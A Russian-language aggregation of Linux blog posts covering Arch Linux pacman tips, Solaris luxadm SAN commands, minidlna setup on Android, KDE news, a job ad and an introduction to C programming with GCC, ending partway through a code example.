Кончено те кто пришли из дистрибутивов с пакетами основанными на deb/rpm могут считать пакман быстрым, однако когда-то давно он был ещё быстрее. Есть несколько методов ускорить его, причем использовать их можно совмесно.
  1. Загрузка пакетов в несколько потоков — для этого используется просто другой менеджер загрузок, к примеру aria2c, но что бы загружать сразу несколько пакетов а не по очереди все же лучше использовать враппер над pacman. К примеру, powerpill, который использует помянутый выше bauerbill.
  2. Сортировка зеркал с помощью rankmirrors (там же написано о утилите reflector, позволяющей сортировать зеркала по статусу)
  3. Экономия трафика в виде использования delta обновлений которые поддерживает ArchLinux, но лично я нашел только одно зеркало его использующее

Было ещё пару методов, но с выходом pacman 3.5 они устарели ибо теперь это делает сам pacman — к примеру он изменил формат базы данных, и замедления из-за большого количества мелких файлов и фрагментации практически сошло на нет, хотя pacman-cage всё ещё в некоторых моментах ускоряет — к примеру, список установленных пакетов всё ещё горой файлов и каталогов), да и вообще пакман хорош =)


Информация о железе
pacman -S hwdetect
(в AUR имеется гуй qhwdetect)
Это специфичная для ArchLinux консольная утилита с огромным количеством опций — начиная от просмотра модулей ядра для устройств и заканчивая возможностью автоматического изменения rc.conf и mkinitcpio.conf
Ну и так же как в других дистрибутивах lshw/hwinfo/lspci/lsusb/etc

Железные мелочи
Для отключение спикера нужно добавить строки вида blacklist имя_модуля (в данном случае два модуля snd_pcsp pcspkr) в /etc/modprobe.d/filename.conf. Подробности о отключении модулей ядра как всегда описано в archwiki
Включаем numlock при старте системы

Лог загрузки
По-умолчанию при выводе login с экрана стирается вся предыдущая информация и всё что было при загрузке на tty1 теряется. Избавится от этого при желании можно поправив файл /etc/issue удалив в нем первую строку — она там есть, и если вы её не видите то ваш редактор просто не осиливает escape-последовательности и должен быть предан анафеме (мой joe показывает их как ^[[H^[[2J). Ну и о существовании dmesg не забываем...

Особенности управление сетью
ArchLinux имеет в своем арсенале весьма интересную утилиту для управления сетевыми подключениями с использованием профилей. Имя сему чуду netcfg.
Всеобъемлющие её описание займет не один экран букв, посему отсылаю в уже написанное. От себя скажу — в некоторых случаях netcfg использовать удобнее чем nm или wicd.

Some yaourt/pacman tips
Переустановить все пакеты из репозиториев: pacman -S $(pacman -Qq | grep -v "$(pacman -Qmq)")
Дабы сделать аналогичное для пакетов отсутствующих в репах можно использовать yaourt -S `pacman -Qmq`
Обновить все установленные пакеты из git/hg/svn/etc yaourt --sucre
Удаление неустановленных пакетов из кэша pacman -Sc
Удаление всех пакетов из кэша pacman -Scc
Так же последние две команды удаляют и неиспользуемые репозитарии...
Удалить пакет со всеми зависимостями pacman -Rs имя_пакета
Удалить пакет со всеми зависимостями и с тем что зависит от него pacman -Rsc имя_пакета
Установить/Удалить пакет не смотря на зависимости (одно d пропускает только проверку версии зависимостей) pacman -Sdd/pacman -Rdd
Сохранение списка пакетов для последующей установки
pacman -Qq > filename # сохраняем в файл
#что бы сохранить только из репозитариев можно искользовать строку ниже
#comm -13 <(pacman -Qmq | sort) <(pacman -Qqe | sort)
pacman -S `cat filename` # устанавливаем из списка, естественно что пакман будет ругаться если в списке есть пакеты не из реп

По-умолнанию yaourt не обновляет пакеты из AUR, для того что бы он это делал надо добавить в его конфиг строку вида AlwaysUpgradeAur yes, ну или вручную постоянно добавлять параметр --aur
Существует враппер над pacman позволяющий сделать что-то вроде сборки мира, использовал я его всего единожды посему не распишу о его возможностях, называется он pacbuilder, yaourt тоже умеет ставить пакет из исходников (-Sb, ставит с помощью ABS)

Кстати, gnome, kde или xfce можно установить всего лишь одной командой — pacman -S groupname, где имя группы gnome, kde или xfce4 соответственно.

Прирожденным гентушникам будет приятно узнать о существовании /etc/makepkg.conf в котором прописаны некоторые параметры сборки при использовании makepkg (который, если забыли, собирает пакет из PKGBUILD)

Плюшки для pacman
Пакет pacman-contrib — содержит backman позволяющий завернуть установленные файлы обратно в пакет, упомянутый выше pacdiff, paclist показывающий пакеты в репозитории, pacscripts показывающий пре-,пост-установочные скрипты (в том числе и в файлах пакетов), pacsearch работающий симпотичным аналогом pacman -Ss search. Так же в pacman-contrib имеются файлы для подсветки PKGBUILD
Пакет srcpac — враппер пакмана для сборки из исходников(функционал частично пересекается с yaourt), namcap для анализа пакетов... Вообще различных дополнений и приятных мелочей для более комфортной работы сполна, как в репозитории, так и в AUR'е, вопрос лишь в том нужны ли они лично вам. Я вполне удовлетворяюсь наличием в системе yaourt.

GUI для pacman
А нету такого =)
Т.е. есть всякие gtkpacman-mod, AppSet, PackageKit и прочие, но они настолько убоги, что их даже в репозитарии не берут... Шутка, конечно, хотя в каждой шутке как известно...
Вообще с гуем к пакману все очень плохо, все кто заявлял о себе умирали, появляются новые и так же умирают. Может в будущем что-то и изменится, но пока надежда разве что на вполне приличные PackageKit и AppSet — оба находятся в AUR и работают относительно неплохо. Тот же PackageKit даже умудрился попасть в репозиторий.
Так же активизировались некроманты дарующие вторую жизнь проекту gtkpacman (gtkpacman-mod, wakka — надеюсь они не будут распыляться на два очень-очень похожих проекта и объединят свои усилия, хотя скорее всего они тоже умрут).
Имеется так же не так давно появившейся pacmanxg с несколько странноватым для меня интерфейсом и поддержкой AUR через yaourt.
Есть ещё интересный проект — pcurses, как видно из название это ncurses мордочка для управления пакетами, лично мне она понравилась намного больше чем другие GUI.
Расписываться про оболочки для пакмана не хочу, несмотрня на то что тема мне достаточно интересна и есть что сказать по этому поводу...
Достаточно подробно о графическом пакмане и различных уведомлялках о обновлении можно прочесть здесь.

Автодополнения для pacman
Для пользователей bash: ставим bash-completion и добавляем в ваш bashrc строки
if [ -f /etc/bash_completion ]; then
	. /etc/bash_completion
fi
Для пользователей zsh: включаем в нем автодополнения, если с дуру отключили, и устанавливаем из AUR пакеты zsh-packer для packer, zsh-bauerbill для bauerbill и zsh-yaourt для yaourt.

Дополнительные материалы
Arch Wiki — там есть почти всё что обычно описывают в сторонних хаутушках типа того что вы читаетете сейчас
Там есть обзор ArchLinux, его Дао, сравнение арча с другими дистрибутивами, основная настройка и информация о управлении пакетами (pacman,
AUR и
ABS). В общем там есть многое, не ленитесь читать, скорее всего там есть ответ на ваш вопрос.
Несмотря на то что даю ссылки на русские статьи в арчевики, рекомендую всё же читать англоязычный вариант (если позволяют знания языков), ибо русскоязычная часть вики не очень активна и многочисленна, посему не всегда поспевает за английской (Присоедениться к переводчикам и писцам русскоязычной арчевики).


PS
Писалось сие ещё в конце января, но не публиковалось по причине сомнений в нужности — сомнения, конечно, остались, но некоторые события дали толчок ещё раз поразмыслить о её нужность и после череды правок выложить этот ArchTips. Как оказалось в ArchLinux с момента написания первого черновика сей заметки практически ничего не изменилось.
По мере сил, возможности и желания буду пополнять и обновлять сию заметку.
Вроде пока все, если есть еще какие вопросы-ответы, уточнения и исправления — делитесь, с удовольствием дополню или исправлю возможно закравшиеся ошибки...

Скоро переезд — hrafn.me

В ближайшие дни планирую уже окончательный переезд блога с WordPress на Jekyll. Соответственно, изменится и дизайн, и скорость загрузки.

Планируется, что все мои заметки будут доступны по тем же самых ссылкам. То же самое ожидается и с RSS, но тут надо еще посмотрим, быть может перейду на FeedBurner.

После переезда предполагается также некоторый период допиливания различных частей ресурса до удовлетворяющего меня состояния, но кардинальных перемен быть не должно.

И еще один момент: как минимум первое время система комментирования будет недоступна. Что с ней будет дальше пока не знаю, комментариев на данный момент не так много, и имеет ли смысл их вообще включать  - сомневаюсь. Если есть мысли по этому поводу, пишите, пожалуйста, в комменты, пока они есть :)

Свежие обои — K Notes

Завершился очередной конкурс на лучшие новые обои для KDE SC. Жюри из Nuno Pinheiro, Ingo «neverendingo» Malchow и Lydia «Nightrose» Pintscher отобрали шестерых победителей, которые войдут в KDE SC 4.8.

Первым стал Storm от Marco Oggioni, который вошёл в состав «погодных» обоев из KDE Artwork (кстати, туда же переехала часть старых обоев из kde-wallpapers):

Storm (Marco Oggioni)

Эти пять пополнили «изкоробочную» поставку:

Azul (Davide Bettio)

Castilla Sky (Luiz Bettoni)

Flying Field (Luiz Bettoni)

Fog on the West Lake (Vimac)

Ну а этот представитель минималистичного абстракционизма будет новым фоном по умолчанию для следующей версии KDE SC:

Ariya (Eshat Cakar)

Как определить HDS command device — Unix pin

С недавнего времени в horcm конфигах (файлах, описывающих репликацию ShadowImage, COW или TruCopy) теперь очень просто описать Command device:

#dev_name dev_name dev_name
\\.\CMD-99999:/dev/rdsk/

Где 99999 — серийный номер вашего массива.
В более ранних версиях требовалось указывать конкретные LUN-ы, на которых располагались Command devices, что вызывало проблемы при переезде путей в SAN или, например, замене HBA. Теперь, при замене HBA, изменении номера контроллера после перезагрузки или проведении динамической реконфигурации итд — репликация продолжает работать.

Code @ C++: Find sum of elements in the array — Linux Maniacs

Code @ C++: Find sum of elements in the array: Наткнулся на задачу, которую предлагают в Yandex на собеседовании: Ниже приведены три варианта суммирования чисел с плавающей точкой (предп...

Синтаксис команды route в Android — Propheta

  • route add default dev DEVICE
  • route add default gw IP dev DEVICE
  • route add -net IP netmask NETMASK gw IP
Нашел здесь: zecke.blogspot.com

Про поиск в Vim — Всё о Vim

Про поиск в Vim Решившись наконец поразбираться с реализацией поиска в Виме, в очередной раз был поражён тому, насколько мощный передо мной текстовый редактор. Казалось бы поиск - он и в Африке поиск! Но размер страницы справочника по шаблонам поиска в 1296 строк заставил задуматься. Относительно меньше, но всё равное много занимает страница руководства по непосредственно поиску. Я не буду

openSUSE 12.1 — hrafn.me

Очень уж давно не писал ничего. Как-то то времени не найти, то желания. Кроме того, особо ничего интересного не происходило, а плодить бессмысленные посты с очередным двухсоттысячным описанием настройки чего-либо не хочется.

Из последних новостей имеется только одна — установка основной системой свежевышедшей openSUSE 12.1. И даже тут рассказывать нечего :) Все работает, как и должно. Gnome, в третьей своей версии, нравится мне все больше, по-крайней мере, сильно удобней, чем Unity на Ubuntu, которой я пользуюсь на работе.

Хотел написать еще некоторые вещи, но что-то SpringPad работать не хочет, поэтому позже. Есть пара мыслей для небольших заметок.

luxadm. Часть 2. Сделать — Unix pin

  1. luxadm. Часть 1. Посмотреть
  2. luxadm. Часть 2. Сделать

Что можно сделать с помощью команды luxadm

При мультипатинге STMS(MPXIO) переключение пути с primary на secondary (на дисковых массивах в режиме active-passive). Посмотреть какие пути primary/secondary с помощью luxadm display /dev/rdsk/c14t6d0s2
# luxadm failover secondary /dev/rdsk/c14t6d0s2
Error: Device does not support failover
# luxadm failover primary /dev/rdsk/c14t6d0s2
Error: Device does not support failover

Переинициализировать порт hba (погасить и зажечь порт). Помогает при залипаниях и добавлении новых дисков со стороны массива.
# luxadm -e forcelip /dev/cfg/c3
# tail -100 /var/adm/messages
Oct 26 17:32:22 pioneer emlxs: [ID 349649 kern.info] [ 5.05F1]emlxs1: NOTICE: 730: Link reset. (Resetting link...)
Oct 26 17:32:22 pioneer emlxs: [ID 349649 kern.info] [ 5.031F]emlxs1: NOTICE: 710: Link down.
Oct 26 17:32:22 pioneer emlxs: [ID 349649 kern.info] [ 5.0631]emlxs1: NOTICE: 730: Link reset.
Oct 26 17:32:24 pioneer emlxs: [ID 349649 kern.info] [ 5.0549]emlxs1: NOTICE: 720: Link up. (4Gb, fabric, initiator)

Перевести устройство в offline (полезно при удалении определенных LUNов с массивов)
# luxadm -e offline /dev/rdsk/c14t6d0s2

Перевести устройство в online
# luxadm -e online /dev/rdsk/c14t6d0s2

Послать устройству команду reset
# luxadm -e dev_reset /dev/rdsk/c14t6d0s2

Зажечь или погасить лампочку на диске (работает только на некоторых устройствах)
# luxadm led /dev/rdsk/c14t6d0s2
# luxadm led_on /dev/rdsk/c14t6d0s2
# luxadm led_off /dev/rdsk/c14t6d0s2
# luxadm led_blink /dev/rdsk/c14t6d0s2

Обновить прошивку на hba (лучше пользоваться загрузчиком из firmware патча)
# luxadm fcode_download -d /path_to_firmware

Закрепление вкладок в Mozilla Firefox — Propheta

Узнал, что пункт «Закрепить вкладку» в контекстном меню вкладок – чрезвычайно удобная фича. Мало того, что закрепленные вкладки не затрагивает действие «Закрыть другие вкладки». Так они автоматически восстанавливаются при следующем запуске браузера. :)

Павел Вязовой

Альт Линукс vs Ubuntu — Unix way

Очень интересный опыт у меня был сегодня с этими дистрибутивами.
Вчера Марина купила мне нетбук и мне нужно было протестировать его на совместимость с Linux. Если бы он провалил проверку - отправился бы обратно в магазин.
Интересное в этой истории то, что уже из отзывов на сайте магазина можно узнать, что в нём не работает тачпад в Ubuntu, да и в других дистрибутивах тоже. Это я и собирался проверить.
Для проверки решил скачать и установить на него свежий Ubuntu 11.10.
Диагноз:
  1. тач действительно не работает
  2. wifi не работает при первом подключении
  3. bluetooth-адаптер не обнаружен
  4. разрешение дисплея только 1024x768 и 800x600
Последовательная проверка в других дистрибутивах (Arch, Fedora, Meego) выявила то, что тачпад работает только в Meego. Разница заключалась в том, что везде тач определялся как PS/2 mouse, а в Meego - IMPS/2 Mouse.
В результате выяснилось что тачпад работает, если модуль psmouse загружать с параметром proto=imps.
Но остальные проблемы оставались нерешенными в Ubuntu и я решил попробовать Simply Linux, который я уже использую на других машинах.
И вот что получилось с Симпли:
  1. проблемы с wifi нет
  2. bluetooth работает, хоть и не выключается кнопкой на клавиатуре (наверняка поправимо)
  3. разрешение ок
  4. даже тачпад работает из коробки!
Вот так порадовал меня Симпли. Сейчас обновлю его до сизифа и хорошо если ничего из этого списка не отвалится.

P.S. Это очень неплохой нетбук - матовый экран, отличная картинка, приятная клава с крупными кнопками, неплохая емкость батарейки.

Ищем JavaScript-программиста — solovyov.net

Нам в команду нужен опытный JavaScript-программист, в офис, на полный рабочий день.

Мы пишем (модное ;) приложение, которое объединяет чат, location-based сервисы и т.п. Работает на мобильных устройствах и в браузере (сюда и нужен разработчик), бэкенд на Erlang/XMPP.

Плюсы:

  • офис в центре Киева, на улице Чапаева (м. Золотые Ворота/Университет) - зелено (летом, хе-хе), тихо, близко ко всему;
  • удобные стулья и хорошие столы;
  • приятная зарплата (от $2,5k);
  • Backbone.js, CoffeeScript;
  • основатель - из Малайзии, есть отличная от нуля вероятность командировки;
  • нас трое в команде, так что вы не будете мелким незаметным винтиком. ;)

Чего хочется от вас:

  • знания джаваскрипта - не обязательно знать каждый мелкий подлый момент, но что такое контекст исполнения функции и как работает объектная система знать нужно;
  • какого-никакого умения написать немного CSS'a - у нас нет выделенного верстальщика и пока что обходимся своими скромными силами;
  • понимания, что такое MVC, для чего оно нужно, etc;
  • знание Backbone.js - плюс (я понимаю, что коммерческого опыта может и не быть, но если вы хотя бы его видели, я буду рад);
  • само-собой, какой-никакой английский.

Если вам кажется, что вы подходите, пишите:

alexander@solovyov.net

Если вы опытный программист, но JS - не ваш основной язык, и вам интересно, пишите всë равно. :) И если у вас есть еще вопросы, тоже пишите.

Linux InstallFest 11.11 — Aceler online

Сегодня NNLUG проводил сабж. Место традиционное, время тоже, самое главное — те же проблемы :) Не готовый к моменты старта мероприятия коммуникационный сервер, на котором ваш покорный разворачивал NAT где-то ближе к 11 часам утра с помощью Wiki и какой-то матери, непонятно зачем проложенные свободные Ethernet-концы на столах. Мы, наверное, в следующий раз ограничимся двумя-тремя концами на всю зону. Плюс жестокий перерасход по времени, два доклада вообще выкинули из сетки.

Зато у нас впервые была интернет-трансляция. Кто-то даже посмотрел, человек так 15.

Я рассказывал про Gnome3 и Unity на основе моих исследований этих интерфейсов. Говорят, минимум два человека перешли на Gnome3 с Gnome2 после того, как поняли, зачем его таким сделали. Будем надеяться, и нынешним слушателям материал поможет.

Второй доклад про Digikam опять с родовой травмой наших фестов — установкой софта на лету. 15 минут на установку — многовато, народ откровенно скучает. Ещё один конфуз — на проекторе нифига не видно результата работы фильтров. В итоге народ не понял, зачем нужен CIMG.

Третий доклад — о перспективных разработках. В номере — Blender3D 2.6.1, OpenOctaveStudio, Gimp 2.8 и гвоздь программы — LightWorks. Презентация была сделана больше в рекламных целях, эффект, по-моему, был :)

И последней частью стал мастер-класс по OpenOctaveMidi. В зале было два человека. знакомых со звукорежиссурой, похоже, что они немного прониклись. Эпические инструменты, кнопка «суперпаник», и 16384 дорожки одновременно поразили их воображение, а фильтры Calf в LV2 показали, как сделать красиво.

В общем и в целом, традиция делать доклады на InstallFest оказалось наиболее правильной — современные InstallFest-ы практически не несут в себе именно инсталляционной составляющией.

Запись опубликована Aceler online. Вы можете оставить комментарии там, их уже .

Удобный Okular — K Notes

Продолжаем рассказ о победном шествии разработчиков KDE против застарелых проблем и недостающих функций в своих приложениях. Сегодня на очереди Okular — универсальный просмотрщик документов PDF, DjVu, PostScript, ODT и других.

Выдели это!

Да-да, то, что мы так долго ждали, наконец-то появилось! Благодаря работе, проделанной Mahfuzur Rahman Mamun в рамках GSoC2011, Okular теперь правильно выделяет и копирует многоколоночный текст.

Слева — как было, справа — как стало

Заодно решилась проблема с невыделяемыми пробелами в DjVu:

Было

Стало

Кроме того, появился специальный режим для выделения таблиц. Обратите внимание, что разделители между строками/столбцами в нём можно добавлять и удалять вручную.

Настрой это!

Надоело, что все новые документы открываются со включённой подгонкой по ширине? Хочется уменьшить шаг прокрутки по PgUp/PgDown? Или включить отображение имени файла в заголовке окна?

Теперь всё это перестало быть проблемой:

Перейди на это!

Довольно часто в Сети попадаются PDF, содержащие т.н. метки страниц. Они являются частью стандарта PDF и позволяют организовать собственную нумерацию страниц (например, пропустить обложку и оглавление), использовать буквы вместо цифр и т.п.

И вот, новая версия Okular также обзавелась поддержкой этих меток. Достаточно открыть любой содержащий их документ, и панель номера страницы станет выглядеть вот так:

Протестируй это!

Наконец, на это неделе произошли ещё три крупных обновления. Во-первых, был принят патч, улучшающий отклик интерфейса при отрисовке «тяжёлых» страниц. Во-вторых, реализация многопоточности была перемещена из бэкенда PDF/poppler в общий код (никаких новшеств, просто рефакторинг).

Третье и самое крупное обновление, как это ни парадоксально, никак не отразиться на пользователях Okular, но зато наверняка понравится пользователям Kile (редактора TeX для KDE). Оно сделало Okular KPart очень удобным инструментом для показа превью генерируемого документа. Например, появилась подсветка (пока очень простенькая) редактируемого участка:

На этом всё. Скачивайте последние версии, изучайте, тестируйте и помогайте разработчикам в нахождении ошибок.

Ах да, всё вышеперечисленное мы увидим в KDE SC 4.8.

Релиз Trinity 3.5.13 (форк KDE3), установка на Debian Squeeze, обновление — RU Linux

KDE Trinity
1 ноября вышел KDE 3.5.13 Trinity. На зеркалах пока не все пакеты. Поставил из Nightly Builds.

Обновлялся с 3.5.12, предварительно накатил 300+ накопившихся апдейтов стабильной версии Debian прямо из иксов, включая ядро, сами иксы и aptitude, который обновил себя же :) Ощутил разницу в upgrade, которые предлагает aptitude и apt-get -- первый отследил ненужные более по зависимостям пакеты и предложил сразу удалить их, не стал обновлять некоторые пакеты, которые позже оказались ненужными и были удалены вручную. После рестарта пришлось заменить в логин-скрине тип сессии с Default на TDE, остальное все сразу заработало без глюков и донастройки. А в вашем дистрибутиве Linux как дела с апдейтами?

Блог: RU Linux

vanoc

android, wifi и minidlna — vanoc.ru » runix

Так уж сложилось, что сегодня пятница, есть свободное время, а так же несколько устройств с андройдом, комп с арчем и wifi точка.

Как следствие установка minidlna и просмотр фильмов находящихся на компе с планшета.

В арче Minidlna ставится командой
sudo yaourt -S minidlna

Вся настройка сводится к редактированию файла /etc/minidlna.conf
В нем достаточно указать пути до директорий с музыкой и фильмами
media_dir=A,/media/sda5/music
media_dir=V,/media/sda5/films

раскомментировать и как-то назвать свой комп
friendly_name=vanocpc
а также подправить интервал обновления медиатеки
notify_interval=60

Теперь можно смело запускать
sudo /etc/rc.d/minidlna start

Так же надо бы добавить minidlna к демонам в /etc/rc.conf для автозапуска.

Upd: лучше все-таки добавить в автозапуск иксов. Т.к. на момент запуска демонов wifi не поднят и minidlna не стартует.

Для просмотра видео с андройда установил BubbleUPnP. Проблем с кодировкой нет, видео запускается с задержкой ~3-4 секунды, перемотка работает великолепно.

Upd: в итоге отказался от использования minidlna и ushare установив vsftpd на комп, ES explorer и mx video player на планшет.

Введение в прикладное программирование под GNU/Linux — Случайные заметки

Это конспект, который я готовил для доклада на конференции, проводившейся местным университетом совместно с нашей LUG. Доклад «для самых маленьких», так что профессионалам просьба не жаловаться на поверхностность и обзорность.

Аудитория

Эта статья расчитана на два вида читателей. Во-первых, это люди, имеющие опыт программирования под MS Windows, но не имеющие такого опыта под GNU/Linux. Во-вторых, это люди, не имеющие опыта программирования вовсе. Однако, я предполагаю, что читатель в общем знаком с общепринятой в программировании терминологией, и ему не нужно объяснять, например, что такое «программа», «функция», «компилятор» или «отладка».

Средства разработки

Я буду рассматривать разработку с использованием тех средств, которые являются наиболее «родными» для GNU/Linux. К ним относятся:

  • Язык программирования C

  • Командная оболочка bash

  • Текстовые редакторы Vim и Emacs

  • Компилятор GCC

  • Отладчик GDB

  • Утилита для сборки проекта GNU make

  • Система управления версиями Git

  • Оконная система X11

Выбор именно этих средств не является догмой. Каждое из выше перечисленных средств может быть при желании заменено на другое. Однако, обычно под фразами наподобие «среда разработки Linux» понимается именно этот набор инструментов.

Языки программирования

Наиболее «родным» языком программирования для GNU/Linux является C. Это обусловлено следующими факторами:

  • GNU/Linux заимствует многие идеи (практически, идеологию) операционной системы UNIX;

  • Операционная система UNIX была написана на языке C (собственно, этот язык создавался именно для написания этой ОС);

  • Соответственно, ядро Linux и системное окружение GNU написаны тоже на C.

Ниже я буду рассматривать разработку с использованием языка C. Однако, этот выбор не является догмой. Другими популярными при разработке под GNU/Linux языками являются C++, Python, Perl. Конечно, могут использоваться и любые другие языки.

Среда разработки

В течение последних двух десятилетий очень широкое распространение получили т.н. IDE — интегрированные среды разработки. Такая среда включает в себя текстовый редактор, компилятор, отладчик, средства сборки проекта и мн.др. Такие среды есть и под GNU/Linux (наиболее популярны Eclipse, NetBeans, IDEA, KDevelop, Anjuta). Однако, история разработки под UNIX-подобные системы показывает, что IDE не являются не только единственным, но и наиболее эффективным средством разработки. Практически, правильный ответ на вопрос «какая самая лучшая IDE под GNU/Linux» — это «GNU/Linux это и есть IDE».

Часто можно встретить мнение, что большой проект без IDE разрабатывать невозможно. Это мнение легко опровергается. Первые версии UNIX писались даже не в Vim (его тогда ещё не было), а в Ed. Это так называемый «построчный» текстовый редактор, в котором вы можете редактировать за раз только одну строку текста. Весь файл на экране не отображается. В случае с UNIX по-другому и быть не могло — у разработчиков не было никаких экранов, а общение с системой осуществлялось при помощи телетайпов. Современное ядро Linux пишется в основном в редакторах Emacs и Vim.

Многие утилиты UNIX вызывают «текстовый редактор по умолчанию». Команда, запускающая текстовый редактор по умолчанию, берётся из переменной окружения $EDITOR. Некоторые утилиты смотрят сначала в переменную $VISUAL, и, лишь если она не установлена, в переменную $EDITOR. Это исторически сложившееся поведение: к старым компьютерам зачастую не было подключено никакого дисплея, а только телетайп, поэтому запускать экранный (визуальный) редактор смысла не было. В современных дистрибутивах обычно по умолчанию оказывается EDITOR=vi или EDITOR=nano. Указать использование другого редактора для одной команды можно так:

EDITOR=emacs some-command

Чтобы использовать нужный редактор по умолчанию всегда, нужно добавить в файл ~/.profile строчку типа

export EDITOR=emacs

Исторически сложилось так, что «настоящими» текстовыми редакторами для программистов являются только Vim и Emacs (просто из-за того, что у них самая долгая история развития именно в качестве текстовых редакторов для программистов). Остальные редакторы находятся в положении догоняющих.

Командная оболочка

Командная оболочка (или командный интерпретатор) — это программа, принимающая команды от пользователя на некотором достаточно простом языке программирования и выполняющая их. Большинство команд запускают одноимённые программы. Отдельные команды представляют собой конструкции языка программирования оболочки.

Стандарт POSIX включает описание минимального набора возможностей, предоставляемых командной оболочкой. Реально используемые оболочки предоставляют, как правило, больше возможностей.

ОС семейств DOS и Windows заимствовали некоторые функции командной оболочки из UNIX, однако их авторы пошли на существенные упрощения, из-за чего функционал COMMAND.COM и cmd.exe получился сильно урезанным. PowerShell вполне на уровне, но работает существенно по-другому.

В рамках этой статьи я ограничусь использованием командной оболочки bash (как наиболее распространённой и используемой по умолчанию в большинстве дистрибутивов) для запуска компилятора и других средств разработки. Хороший обзор использования командной оболочки можно найти, например, в известной книге [kernigan_pike].

Документация

Все средства разработки и библиотеки в GNU/Linux обычно довольно хорошо документированы. Традиционно для документации используется специальный формат и утилита для его просмотра — man. Документация в системе делится на несколько разделов:

  1. Команды пользователя (например, ls, gcc или man)

  2. Системные вызовы — API ядра ОС

  3. Библиотечные функции

  4. Драйвера и т.п

  5. Форматы файлов

  6. Игры и т.п

  7. Различные обзоры подсистем

  8. Команды, используемые для системного администрирования

Для вызова раздела документации по имени нужно указать это имя при вызове команды man (например, man ls). Иногда разделы с одинаковым названием есть сразу в нескольких разделах документации документации. Указать конкретный раздел можно при вызове man (например, man 3 printf).

Более подробную информацию о справочной системе man см. в man man.

Утилиты системного окружения GNU часто используют для документации формат info. См., например, info Coreutils.

Компилятор

Сейчас существует много компиляторов языка C, более-менее совместимых с различными стандартами. Тем не менее, пока что в среде GNU/Linux наиболее применимым остаётся компилятор C, входящий в комплект GNU Compilers Collection (GCC). Этот компилятор, кроме стандарта C, поддерживает некоторое количество расширений стандарта. Эти расширения, в частности, широко используются в исходных текстах ядра Linux. В последнее время появляются компиляторы, способные скомпилировать ядро Linux (например, llvm-clang, или EKO).

Компилятор GCC запускается из командной оболочки командой вида

gcc [OPTIONS] program.c

где program.c — имя входного файла. Кроме того, по стандарту POSIX, компилятор может быть запущен командой cc program.c (cc — от "C compiler").

При обычном запуске компилятор пытается создать исполняемый файл. По умолчанию, выходной файл называется a.out (такое название осталось от древних версий UNIX). Другое название можно задать с помощью опции компилятора -o, например,

gcc -o program program.c

При сборке программы из нескольких модулей компилятору можно подавать на вход несколько исходных файлов или файлов объектного кода, например,

gcc -o program main.c module1.o module2.o …

Чтобы только скомпилировать один исходный файл в объектный код (не пытаясь собрать исполняемый файл), нужно дать команду вида

gcc -c module.c

(имя выходного файла по умолчанию будет module.o).

Для сборки программы часто бывают нужны библиотеки. В Linux используются два типа библиотек: библиотеки для статической и динамической компоновки. При статической компоновке библиотека при сборке программы целиком включается в состав исполняемого файла. При динамической компоновке в исполняемый файл вписывается только название динамической библиотеки, а поиск этого файла и компоновка происходят при запуске программы.

Статическая библиотека в UNIX-подобных системах представляет собой архив (старинного формата ar), включающий набор объектных файлов. Такой архив создаётся командой вида

ar r libsomething.a module1.o module2.o …

Имена файлов библиотек традиционно начинаются с префикса lib.

Динамически загружаемая библиотека представляет собой объектный файл специального формата (расчитанного на динамическую загрузку). Такая библиотека создаётся командой вида

gcc -shared -o libsomething.so module1.c module2.c …

Для использования библиотеки при сборке программы её нужно указать компилятору при помощи опции -l, например

gcc -o program -lm program.c

(здесь будет использоваться файл библиотеки libm.so, префикс lib компилятор подставляет по умолчанию). По умолчанию компилятор собирает программу, использующую динамические библиотеки. Если нужно использовать статические версии библиотек, компилятору нужно указать опцию -static.

Подробную информацию об опциях gcc см. в man gcc.

Hello, world!

Считается, что традиция начинать изучение языка программирования с написания программы, выводящей строку "Hello, world!", пошла с книги Кернигана и Ричи "Язык C" [kernigan_richie]. В случае с языком C эта программа выглядит следующим образом:

#include <stdio.h><stdio.h>

int main(int argc, char* argv[]) {
printf("Hello world!\n");
return 0;
}
</stdio.h>

Чтобы запустить эту программу, этот текст нужно записать в файл с именем, скажем, hello.c, и из директории, в которой расположен этот файл, дать команду вида

gcc -o hello hello.c

Впрочем, в случае такой простой программы достаточно дать команду

make hello

(я поясню ниже, почему эти две команды работают одинаково). В результате в той же директории появится исполняемый файл с именем hello. Запустить его можно командой

./hello

Порядок сборки

Остановимся несколько подробнее на том, что именно делает компилятор. Порядок действий компилятора C традиционен, и применяется компиляторами некоторых других языков.




На входе компилятор имеет в общем случае набор файлов с исходными текстами. Перед началом собственно компиляции эти файлы обрабатываются т.н. препроцессором (программа cpp). Главная функция этой программы — выполнение директив вида #include <stdio.h></stdio.h>. Встретив такую директиву, препроцессор вставляет содержимое указанного файла (в данном случае, stdio.h) на место этой директивы. Препроцессор понимает ещё некоторые директивы, но сейчас на них останавливаться я не буду.

После препроцессора выполняется собственно компиляция. Из исходных файлов на этом этапе получаются т.н. объектные файлы. Это файлы, содержащие исполняемый машинный код, но ещё не готовые для запуска. Главное, чего в них недостаёт — это адреса вызываемых библиотечных функций. Например, код функции printf() содержится в библиотеке libc. А в объектном файле содержится только имя этой функции. Кроме того, объектный файл содержит имена всех объявленных в нём функций.

Объектные файлы, а также используемые библиотеки подаются на вход компоновщику (программа ld). Компоновщик ищет все вызываемые из различных объектных файлов функции (по именам) в объектных файлах и в библиотеках. Если все функции найдены, то компоновщик собирает собственно исполняемый файл. При этом имена вызываемых функций заменяются на конкретные адреса памяти. В случае использования динамической библиотеки имя используемой функции остаётся, и к нему добавляется имя файла динамической библиотеки, в которой при запуске программы нужно будет искать эту функцию.

Собственно программа gcc представляет собой так называемый драйвер (driver). Она запускает упомянутые выше программы (или только некоторые из них, в зависимости от опций), чтобы получить исполняемый файл.

Второй пример: решение квадратных уравнений

В качестве несколько более сложного примера рассмотрим программу, которая должна решать квадратные уравнения. Пользователь вводит коэффициенты квадратного трёхчлена, а программа выдаёт его действительные корни. Вот полный текст такой программы:

#include <stdio.h><stdio.h>
#include <math.h><math.h>

/* solve: calculate roots of square equation.
* a, b, c are coefficients in equation.
* Roots would be stored at x1, x2.
* Return value: count of real roots.
*/
int solve(double a, double b, double c,
double* x1, double* x2) {
double D = b*b - 4*a*c;
double sqrtD;

if (D > 0) {
sqrtD = sqrt(D);
*x1 = (-b - sqrtD)/(2.0 * a);
*x2 = (-b + sqrtD)/(2.0 * a);
return 2;
} else if (D < 0)
return 0;
else {
*x1 = -b/(2.0*a);
return 1;
}
}

int main (int argc, char* argv[]) {
double a,b,c;
double x1, x2;
int roots_count;

// Input coefficients
printf("A: ");
scanf("%lf", &a);
printf("B: ");
scanf("%lf", &b);
printf("C: ");
scanf("%lf", &c);

